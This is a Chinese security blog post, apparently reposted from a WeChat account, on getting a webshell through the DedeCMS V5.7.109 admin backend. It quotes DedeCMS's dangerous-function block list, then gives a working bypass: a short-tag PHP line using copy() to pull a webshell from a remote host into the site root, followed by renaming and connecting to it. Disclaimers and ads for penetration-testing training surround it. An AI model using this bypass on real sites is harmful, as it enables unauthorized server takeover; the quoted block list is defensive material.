DedeCMS-V5.7.109-UTF8 后台可getshell

admin 2024年10月21日22:54:28评论15 views字数 1623阅读5分24秒阅读模式

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送 进群

DedeCMS-V5.7.109-UTF8 后台可getshell

需要渗透测试培训联系 一扫下面微信

【新】暗月渗透测试培训课程

DedeCMS-V5.7.109-UTF8 后台可getshell

dedecms 以往很多拿webshell的地方都做了限制,导致以往的漏洞点都存在检测,上传webshell难度加大。

以下是dedecms通用拦截的代码

    global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['"]*{$value}['"]*
展开收缩
*[([{']#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
if(!empty($value) && preg_match("#<?(php|=)#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
if(!empty($value) && preg_match("#(script)
展开收缩
*(language)
展开收缩
*(=)
展开收缩
*\\['"]{1}(php)#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}

可以看到关键词都做了限制。而且还对<?php 这种标签做了检测。

绕过方法

可以使用php另外一种标签 <? ?>

在文件管理里新建一个txt 然后用copy函数 把远程的webshell后门 复制到本地

<? copy("http://192.168.10.158/shell.php","shell.php");?>

DedeCMS-V5.7.109-UTF8 后台可getshell

然后将文件重名为php文件在访问 在根目录就会生成webshell

DedeCMS-V5.7.109-UTF8 后台可getshell

连接webshell

DedeCMS-V5.7.109-UTF8 后台可getshell

DedeCMS-V5.7.109-UTF8 后台可getshell
关注公众号
DedeCMS-V5.7.109-UTF8 后台可getshell

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

DedeCMS-V5.7.109-UTF8 后台可getshell

原文始发于微信公众号(白帽子):DedeCMS-V5.7.109-UTF8 后台可getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日22:54:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DedeCMS-V5.7.109-UTF8 后台可getshellhttps://cn-sec.com/archives/1856540.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息